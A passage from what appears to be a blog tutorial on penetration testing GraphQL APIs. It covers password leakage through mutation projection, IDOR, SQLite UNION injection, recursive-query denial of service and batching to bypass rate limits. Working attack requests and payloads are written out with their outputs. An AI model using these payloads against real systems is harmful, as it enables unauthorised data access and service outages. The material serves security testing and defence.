https://substackcdn.com/image/fetch/$s_!2b-5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcc752d3-78a5-402e-91e5-5a54f003ede5_419x247.png 848w, https://substackcdn.com/image/fetch/$s_!2b-5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcc752d3-78a5-402e-91e5-5a54f003ede5_419x247.png 1272w, https://substackcdn.com/image/fetch/$s_!2b-5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcc752d3-78a5-402e-91e5-5a54f003ede5_419x247.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Even though the developers restricts what kind of data you can send to the app, nobody said you can't select what data you will receive - that's called query projection - something that you have to specifically return in a RESTful API you have that by design in GraphQL. In a mutation query, the final selection is the fields that are going to be returned after the mutation. So even after an update, a delete or an insertion, the query may - or may not - return data. In this case, the query returns data. It's up to the developer to restrict what kind of data should be returned.</p><p>Since we know the return data (it's the data type "User" - discussed earlier), let's add more fields:</p><pre><code>mutation UpdateUsers {
  updateUsers(userInput: {id:1,level:3}) {username,password}
}</code></pre><p>Output:</p><pre><code>{
  "data": {
    "updateUsers": [
      {
        "username": "theo",
        "password": "1234"
      }
    ]
  }
}</code></pre><p>As you can see we've retrieved the user's password. This is an example of a real vulnerability that happened during a real assessment. Selecting from a mutation (known as GraphQL Projection) is causing a big confusion to a lot of developers as it's something unconventional - imagine selecting while updating a table in MySQL. For example, the developers may let an intentional update. However, retrieving more information could be (and likely is) unintentional and leads to information disclosure.</p><p><strong>Less the input data, more the leaks</strong></p><p>In addition to the previous mutation techniques, a good test technique is to try to remove any input data. Imagine removing the userInput variable and be able to return all usernames and passwords. In this example was not possible. I have seen this before so it may happen to you too, so note it down.</p><p><strong>Input Data Wildcard Characters</strong></p><p>I have seen input strings to be used in database engines. Therefore, any wildcard characters such as "*" to be very useful and to return data that shouldn't be returned. For example, imagine a query where it requires an input field for filtering (i.e. username) and the value sent by front-end to be "theo". So returning data for theo is allowed. But what if we want to return other users? If you don't know their username, try adding some wildcard characters (i.e. "admin*" - this proven to be very useful as the back-end database can be No-SQL and wildcards are parsed by the engine just fine).</p><h2>IDORs</h2><p>The IDOR vulnerabilities also exist in the GraphQL APIs, so don't be confused with the structure of the input. For example, the uid field in the below request can be used to fetch arbitrary users, even though the type is ID. The ID type is a special type in GraphQL. In this case, the ID identifies the record which is one more reason to check for an IDOR.</p><pre><code>POST /graphql HTTP/1.1
Host: test.local
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5


{
  "variables":
  {
    "uid":"1003"
  },
  "query":"query users($uid:ID!) {\n  users(id: $uid) {\n    id\n    name\n    description\n    __typename\n  }\n}\n"}</code></pre><h2><strong>Graphcool - A GraphQL schema generator</strong></h2><p>So Graphcool, is a framework which enhances the GraphQL schema. It adds permissions, database mapping, subscriptions and more. However, the Graphcool, if configured, it can add more fields, which can be field filters.</p><p>Let's take an example. The previously discussed data type "User" could be altered by the Graphcool to include the following field "password_contains". This is a feature which automatically adds a filter to all - or some - fields of the data types. So for the particular field, such as the password, it works as an error-based injection. Therefore, if you put &#8220;a&#8221; it returns nothing or permission denied. But this is error-based injection so that way we can retrieve the full value (i.e the password).</p><h2><strong>Database Injections</strong></h2><p>The GraphQL is nothing more than an API interface. It can help mapping the parameters with internal structures and data. Therefore, standard database injections exists - such as an SQL Injection.</p><p>SQLite Injection Example:</p><pre><code>POST /graphql HTTP/1.1
Host: test.local
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5


{"variables":{
"pid":"0 union select 1,2,sql FROM sqlite_master limit 1,2"
},
"query":"query partition($pid:ID!) {\n  partition(id: $pid) {\n    id\n    name\n    description\n    __typename\n  }\n}\n"}</code></pre><p>Response:</p><pre><code>{
    "data": {
        "project": {
            "__typename": "Partition", 
            "description": "CREATE TABLE partition (\n  id INTEGER PRIMARY KEY,\n  name TEXT,\n  description TEXT\n)", 
            "name": "2", 
            "id": "1"
        }
    }
}</code></pre><p>Keep in mind that the majority of GraphQL implementations are integrated with NoSQL databases, therefore you may want to use the appropriate payloads (<code>$regex</code>, <code>$ne</code> etc..).</p><h2><strong>GraphQL Denial-of-Service</strong></h2><p>Going forward, I present you a different schema here to explain how Denial-of-Service is done in GraphQL:</p><pre><code>type Author {
    name: String
    articles: [Article]
}

type Article {
    title: String
    content: String
    author: Author
}

type Query {
    articles: [Article]
}</code></pre><p>To attack the server, we must induce a recursive call of the article object. However, because the article object is again included as a list in the Author, this is fetched <strong>recursively</strong> and thus a Denial-of-Service can be formed.</p><pre><code>query GetArticles {
  articles {
    title
    content
    author {
       name
       articles {
          title
          author {
            name
          }
       }
    }
  }
}</code></pre><p>To mitigate such issue, the developer must limit the maximum depth the GraphQL engine must go.</p><p>For example, the following configuration disallow the Apollo engine to go further than 10 levels down recursively:</p><pre><code>const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [ depthLimit(10) ]
});</code></pre><h2><strong>GraphQL Amplification Attacks</strong></h2><p>GraphQL permits to insert a lot of queries into the delivery payload. The GraphQL processor will process all the queries and return the result back as a uniform JSON. To do that, you simply insert a lot of queries. This helps when there is a rate limit on the GraphQL endpoint, and can be bypassed by inserting a lot of queries by just making a single request - So 2FA can be also bypassed in certain circumstances.</p><h2><strong>Input Variables</strong></h2><p>Previously we have seen only one way of sending data arguments to GraphQL queries:</p><pre><code>mutation UpdateUsers {
  updateUsers(userInput: {id:1,level:3}) {username,password}
}</code></pre><p>To make an external reference this is the way to go:</p><pre><code>{"variables":{
   "request":{
       "field-1":"value-1",
       "field-2":"value-2"
    }
},
"query":"query getBusinessInformation($request: GetBusinessInformationRequest!) {\n  getBusinessInformation(request: $request) { ...  }\n}"}</code></pre><p>Here's another example:</p><pre><code>{
  "variables": {
    "input": {
      "id": "51613"
    }
  },
  "query": "mutation($input: ContactProfile!) { updateContact(contactProfile: $input) { profile { id, email } } }\n"
}</code></pre><p>Here's the function contactProfile - Just for reference:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eBG5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F612e66be-ac6d-481c-8536-58359b847175_323x528.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eBG5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F612e66be-ac6d-481c-8536-58359b847175_323x528.png 424w, https://substackcdn.com/image/fetch/$s_!eBG5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F612e66be-ac6d-481c-8536-58359b847175_323x528.png 848w, https://substackcdn.com/image/fetch/$s_!eBG5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F612e66be-ac6d-481c-8536-58359b847175_323x528.png 1272w, https://substackcdn.com/image/fetch/$s_!eBG5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F612e66be-ac6d-481c-8536-58359b847175_323x528.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eBG5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F612e66be-ac6d-481c-8536-58359b847175_323x528.png" width="323" height="528" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/612e66be-ac6d-481c-8536-58359b847175_323x528.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:528,&quot;width&quot;:323,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26464,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eBG5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F612e66be-ac6d-481c-8536-58359b847175_323x528.png 424w, https://substackcdn.com/image/fetch/$s_!eBG5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F612e66be-ac6d-481c-8536-58359b847175_323x528.png 848w, https://substackcdn.com/image/fetch/$s_!eBG5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F612e66be-ac6d-481c-8536-58359b847175_323x528.png 1272w, https://substackcdn.com/image/fetch/$s_!eBG5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F612e66be-ac6d-481c-8536-58359b847175_323x528.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Here's the ContactProfile data-type which is used as input data type - Just for reference:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KBZa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92bc702d-5dd6-428e-9413-588c1f01be15_439x716.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KBZa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92bc702d-5dd6-428e-9413-588c1f01be15_439x716.png 424w, https://substackcdn.com/image/fetch/$s_!KBZa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92bc702d-5dd6-428e-9413-588c1f01be15_439x716.png 848w, https://substackcdn.com/image/fetch/$s_!KBZa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92bc702d-5dd6-428e-9413-588c1f01be15_439x716.png 1272w, https://substackcdn.com/image/fetch/$s_!KBZa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92bc702d-5dd6-428e-9413-588c1f01be15_439x716.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KBZa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92bc702d-5dd6-428e-9413-588c1f01be15_439x716.png" width="439" height="716" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/92bc702d-5dd6-428e-9413-588c1f01be15_439x716.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:716,&quot;width&quot;:439,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:34811,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KBZa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92bc702d-5dd6-428e-9413-588c1f01be15_439x716.png 424w, https://substackcdn.com/image/fetch/$s_!KBZa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92bc702d-5dd6-428e-9413-588c1f01be15_439x716.png 848w, https://substackcdn.com/image/fetch/$s_!KBZa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92bc702d-5dd6-428e-9413-588c1f01be15_439x716.png 1272w, https://substackcdn.com/image/fetch/$s_!KBZa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92bc702d-5dd6-428e-9413-588c1f01be15_439x716.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A third way of setting variables is the following which inserts the variables in the query itself as shown below: <br>updateContact(contactProfile: 'abc')...</p><h2><strong>Limit Results - Pagination</strong></h2><p>Using simple queries you can hang the server, especially if you retrieve the whole database. It can happen more often that you may think! Even if the server doesn't hang on you then your burp file will store 2 to 10 MB of data per request. You want to avoid that! And it will happen believe me.</p><p>Try to limit the results:</p><pre><code>{
  "variables": {
    "pagination": {
      "limit": 50,
      "offset": 0
    }
  },
  "query": "query bankAccount( $pagination: PaginationFilter ) {\n bankAccountPaged( pagination: $pagination ){ iban } "
}</code></pre><p>Keep in mind that pagination must be enabled and supported by the schema your are currently testing.</p><h2><strong>Tools</strong></h2><h2>GraphiQL</h2><p>Some times the developers enables the Graphical GraphQL features and this stays open. This isn't a security issue and can help you out by writing and formatting your queries. By visiting the GraphQl's endpoint using a GET (in your browser), the graphical interface will eventually appear. The most important about GraphiQL, is that the supported operations are appeared on the right column. So its like a more graphical "introspection". Even though this is not a security issue, it's better to let your customers know that such endpoint must not be exposed to the public. There is no reason doing that.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zYmw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8641621e-27a0-4a85-b216-e392ff72210e_1024x542.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zYmw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8641621e-27a0-4a85-b216-e392ff72210e_1024x542.png 424w, https://substackcdn.com/image/fetch/$s_!zYmw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8641621e-27a0-4a85-b216-e392ff72210e_1024x542.png 848w, https://substackcdn.com/image/fetch/$s_!zYmw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8641621e-27a0-4a85-b216-e392ff72210e_1024x542.png 1272w, https://substackcdn.com/image/fetch/$s_!zYmw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8641621e-27a0-4a85-b216-e392ff72210e_1024x542.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zYmw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8641621e-27a0-4a85-b216-e392ff72210e_1024x542.png" width="1024" height="542" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8641621e-27a0-4a85-b216-e392ff72210e_1024x542.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:542,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:116400,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zYmw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8641621e-27a0-4a85-b216-e392ff72210e_1024x542.png 424w, https://substackcdn.com/image/fetch/$s_!zYmw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8641621e-27a0-4a85-b216-e392ff72210e_1024x542.png 848w, https://substackcdn.com/image/fetch/$s_!zYmw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8641621e-27a0-4a85-b216-e392ff72210e_1024x542.png 1272w, https://substackcdn.com/image/fetch/$s_!zYmw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8641621e-27a0-4a85-b216-e392ff72210e_1024x542.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Side Note</strong>: Keep in mind the queries inserted into the GraphiQL doesn't need new-line character(s) such as "\n", but you insert actual new lines instead.</p><h2>Burp Suite Plugins</h2><p><strong>GraphQL Raider</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lWsd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4381d24f-f074-477e-8d80-6ee549fc4d02_377x246.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lWsd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4381d24f-f074-477e-8d80-6ee549fc4d02_377x246.png 424w, https://substackcdn.com/image/fetch/$s_!lWsd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4381d24f-f074-477e-8d80-6ee549fc4d02_377x246.png 848w, https://substackcdn.com/image/fetch/$s_!lWsd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4381d24f-f074-477e-8d80-6ee549fc4d02_377x246.png 1272w, https://substackcdn.com/image/fetch/$s_!lWsd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4381d24f-f074-477e-8d80-6ee549fc4d02_377x246.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lWsd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4381d24f-f074-477e-8d80-6ee549fc4d02_377x246.png" width="377" height="246" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4381d24f-f074-477e-8d80-6ee549fc4d02_377x246.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:246,&quot;width&quot;:377,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:14988,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!lWsd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4381d24f-f074-477e-8d80-6ee549fc4d02_377x246.png 424w, https://substackcdn.com/image/fetch/$s_!lWsd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4381d24f-f074-477e-8d80-6ee549fc4d02_377x246.png 848w, https://substackcdn.com/image/fetch/$s_!lWsd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4381d24f-f074-477e-8d80-6ee549fc4d02_377x246.png 1272w, https://substackcdn.com/image/fetch/$s_!lWsd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4381d24f-f074-477e-8d80-6ee549fc4d02_377x246.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This plugin may worth your time installing and playing with it, as it can extract the input values found in the variables OR found in the query itself. When extracted such insertion points can be used with Burp Active Scanner to scan for vulnerabilities - ie SQL Injections.</p><p>Note: Requires Burp Suite Pro</p><p><strong>InQL - Introspection GraphQL Scanner</strong></p><p>A security testing tool to facilitate GraphQL technology security auditing efforts.</p><p>This extension will issue an Introspection query to the target GraphQL endpoint in order fetch metadata information for:</p><ul><li><p>Queries, mutations, subscriptions</p></li><li><p>Its fields and arguments</p></li><li><p>Objects and custom object types</p></li><li><p>Find GraphQL Cycles</p></li></ul><p>Using the inql extension for Burp Suite, you can:</p><ul><li><p>Search for known GraphQL URL paths; the tool will grep and match known values to detect GraphQL endpoints within the target website</p></li><li><p>Search for exposed GraphQL development consoles (GraphiQL, GraphQL Playground, and other common 